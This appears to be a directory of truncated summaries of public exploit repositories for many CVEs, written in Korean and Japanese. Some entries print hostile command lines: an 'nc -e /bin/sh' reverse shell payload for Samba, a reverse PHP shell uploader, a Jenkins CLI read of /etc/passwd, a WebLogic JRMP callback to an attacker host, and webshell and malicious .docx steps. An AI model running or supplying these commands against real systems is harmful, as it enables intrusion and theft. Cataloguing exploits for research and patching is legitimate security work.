CVE-2022-46169

CVE-2022-46169 エクスプロイト Cacti 1.2.19 の CVE-2022-46169 脆弱性に対するエクスプロイト オプション -u --url 被害者のURL -f --forwarded 認証をバイパスするための X-Forwarded 値 -m --mode: check（脆弱なサーバーをチェック）または exploit（楽しいエクスプロイトモード）:D 使用方法 1. $ ./cve202246169.py -u http://10.10.10.10/cacti -f 10.10.10.10 -m exploit 2. $ ./cve202246169.py ...

CVE-2022-45701

KO 이 프로젝트는 일부 Arris 라우터에서 원격 코드 실행RCE 취약점CVE-2022-45701을 악용하는 Python 스크립트를 제공합니다. 이 취약점은 인증된 사용자가 웹 인터페이스를 통해 SNMP 설정을 조작하여 장치에서 임의의 명령을 실행할 수 있도록 합니다. 면책 조항 : 이 도구는 교육 목적 및 윤리적인 보안 테스트 전용입니다. 이 스크립트의 무단 사용은 불법이며 비윤리적입니다. 특징 CVE-2022-45701을 악용하여 원격 코드 실행. SNMP 조작을 통해 라우터 보안 우회. Arris 모델 TG2482A,...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 리버스 셸 업로드 h3v0x가 작성한 익스플로잇을 기반으로 한 WpDiscuz 7.0.4용 익스플로잇입니다. 취약점을 악용하여 리버스 PHP 셸을 업로드합니다. 영감은 Blogger CTF에서 얻었습니다. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 사용 예시:...

Metabase-Pre-Auth-RCE-POC

CVE-2023-38646 — Metabase 원격 코드 실행RCE 개념 증명 개요 이 저장소는 CVE-2023-38646 을 분석하는 개념 증명PoC 보안 연구 프로젝트 를 문서화한 것입니다. 이 취약점은 취약한 버전의 Metabase 에 영향을 미치는 사전 인증 없이 가능한 원격 코드 실행RCE 취약점입니다. 이 프로젝트의 목표는 실제 취약점의 전체 수명 주기 를 시연하는 것입니다. 여기에는 다음이 포함됩니다: 취약점 및 근본 원인 이해 통제된 실습 환경에서 익스플로잇 재현 취약한 시스템에 리버스 셸 설정 네트워크 모니터링...

SpringFramework_CVE-2022-22965_RCE

SpringFrameworkCVE-2022-22965RCE SpringFramework リモートコード実行脆弱性 CVE-2022-22965 脆弱性再現環境 docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 WebShellの書き込み 注意：検証テストではShellは一度だけ書き込めます。 利用スクリプト python CVE-2022-22965.py...

CVE-2020-0688

CVE-2020-0688에 취약한 Exchange 서버 식별 CVE-2020-0688은 정적 키 사용으로 인한 Microsoft Exchange의 치명적인 취약점입니다. 악용하려면 유효한 자격 증명이메일 사용자 수준이 필요하고 대규모 악용 위험은 낮지만, 이 취약점은 SYSTEM 수준 RCE로 이어지기 때문에 표적 공격에 매우 유용할 수 있습니다. 추가 정보: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688...

CVE-2021-22941

사용 python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 참조 https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

apache-vulnerable

Apache 버전 '제로데이' 스캔 Apache Version 2.4.49 and 2.4.50 CVE-2021-41773 and CVE-2021-42013 사용 방법 : nuclei가 필요합니다! https://github.com/projectdiscovery/nuclei 로컬 nuclei 설치를 확인하고 템플릿을 검증하세요 nuclei -t apache-vulnerable-versions.yaml -vv and nuclei -t apache-path-traversal-rce-v2.yaml -vv 다음과 같은 출력이 나타나야...

CVE-2022-26134

CVE-2022-26134 - OGNL 인젝션 취약점. 영향을 받는 Confluence Server 및 Data Center 버전에서는 인증되지 않은 공격자가 Confluence Server 또는 Data Center 인스턴스에서 임의 코드를 실행할 수 있도록 하는 OGNL 인젝션 취약점이 존재합니다. PoC: git clone https://github.com/kh4sh3i/CVE-2022-26134 cd CVE-2022-26134 python3 cve-2022-26134.py https://target.com CMD CUR...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 jenkins-cli 우리는 Jenkins 파일 유출 / RCE CVE-2024-23897가 야생에서 악용되는 것을 확인했으며 이를 재현할 수 있었습니다. 만약 Jenkins에서 익명 사용자 또는 사용자 등록을 허용한다면, 즉시 최신 버전으로 업데이트하세요. java -jar jenkins-cli.jar -s https://www.wevul.com @/etc/passwd...

CVE-2018-16341

CVE-2018-16341 Nuxeo 인증 우회 원격 코드 실행 10.3 - SSTI를 이용한 CVE-2018-16341 상세 분석 영어 아님 : https://www.freebuf.com/vuls/193000.html https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/ 보안 권고 :...

Erlang-OTP-SSH-CVE-2025-32433

✅ 결과 서버가 SSH 메시지 ID 800x50에 응답했습니다. 이는 인증 후post-auth용으로 예약된 것입니다. 이는 서버가 사전 인증pre-auth 단계에서 잘못된 메시지를 수용함을 증명하며, CVE-2025-32433에 정의된 취약한 동작 을 나타냅니다. 📖 연구 요약 저는 신뢰할 수 있는 여러 출처에서 Erlang/OTP와 CVE를 연구한 후 이 실험 환경을 구축했습니다. Erlang/OTP 는 원래 Ericsson이 확장 가능하고 내결함성이 있는 분산 시스템을 구축하기 위해 개발한 강력한 환경입니다. 여기에는 자체...

CVE-2026-39808

🚨 FortiSandbox 루트 샌드박스 탈출 - CVE-2026-39808 🎯 개요 이 저장소는 Fortinet FortiSandbox의 치명적인 인증 없는 명령 주입 취약점인 CVE-2026-39808 에 대한 깔끔하고 잘 문서화된 개념 증명PoC을 포함합니다. 이 취약점은 샌드박스 탈출 및 rootuid=0 권한으로 원격 코드 실행을 허용합니다. 이 PoC가 시연하는 내용: jid 매개변수를 통한 경로 탐색Path Traversal + 명령 주입Command Injection 분석 환경에서 샌드박스 탈출 root 권한으로...

CVE-2023-26262

Sitecore 10.3 인증된 파일 업로드 취약점 작성자: Thomas Stern 날짜: 2023-01-26 요약 언어 가져오기 기능을 통해 임의의 파일을 업로드할 수 있습니다. 이 파일은 서버에서 코드 실행을 가능하게 하는 웹쉘이 될 수 있습니다. 재현 단계 이 취약점을 테스트하기 위해 로컬 머신에서 Docker를 통해 Sitecore 10.3 인스턴스를 생성했습니다. 이 취약점은 이전 버전의 Sitecore에서 테스트되지 않았지만, 이전 버전도 동일한 기술에 취약할 수 있습니다. 환경 정보 호스트: Windows 11...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

CVE-2025-51495

Mongoose의 최신 릴리스v7.17에서 확인된 보안 취약점을 보고합니다. 이 문제는 WebSocket 모듈, 특히 들어오는 WebSocket 프레임을 처리하는 mgwscb 함수에 존재합니다. 해당 함수는 정수 오버플로에 취약하며, 특정 조작된 입력 하에서 메모리 경계를 벗어난 접근으로 이어질 수 있습니다. 이 조건은 원격 공격자가 메모리 손상 또는 애플리케이션 충돌을 유발하는 데 악용될 가능성이 있습니다. 공급업체마다 WebSocket 비즈니스 로직을 다르게 구현하기 때문에, 이 취약점은 잠재적으로 원격 코드 실행으로 이어...

CVE-2022-34919

CVE-2022-34919 Contensis 콘텐츠 관리 시스템Content Management System 15.2.1.79 이전 버전은 'Classic' 인터페이스에 인증되지 않은 사용자가 임의의 파일을 업로드하고 승인할 수 있는 결함이 있습니다. aspx 파일을 업로드하면 웹 서버의 컨텍스트에서 명령을 실행할 수 있습니다. 이 취약점은 2022년 3월에 발견되었으며, Zengenti가 2022년 4월 8일 릴리스에서 패치했습니다. 재현 단계: 1: 최초 파일 업로드는 다음 엔드포인트에 대한 POST 요청으로 수행됩니다:...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx 생성 CVE-2021-40444 Microsoft Office Word 원격 코드 실행를 악용하기 위한 docx 생성 1. 빈 .docx 파일을 생성합니다. 2. "삽입/개체" 메뉴에서 "비트맵 이미지" 개체를 추가합니다. 3. 저장하고 docx 압축을 풉니다. 4. word/rels/document.xml.rels 수정 5. word/document.xml 수정 6. 폴더를 압축하고 .docx로 이름 변경 7. html 및 cab 파일 준비 8. 즐기세요!...

CVE-2021-29267

CVE-2021-29267 SherlockIM 채팅봇 XSS 제안 설명: SherlockIM은 지속적인 XSS에 취약합니다. 추가 정보: SherlockIM - 고객과의 모든 종류의 대화를 관리하기 위한 플랫폼. 취약점 유형: 크로스 사이트 스크립팅 XSS 취약점에 대해 공급업체에 서신을 보냈습니다. 공격 벡터: 공격자가 채팅 봇을 통해 악성 HTML 파일을 업로드합니다. 악성 파일이 고객 하위 도메인모든 고객은 sherlockcrm 도메인 내에서 고유한 하위 도메인을 보유에 로드됩니다. 업로드된 파일의 악성 코드가...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 구현 설명 Samba 3.0.20 IP - 원격 머신의 IP입니다. PORT - 선택 사항 smb가 실행 중인 포트입니다. PAYLOAD - 원격 머신에서 실행될 페이로드입니다. 예: 리버스 셸. 예시: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' 리소스 CVE-2007-2447: 원격 ...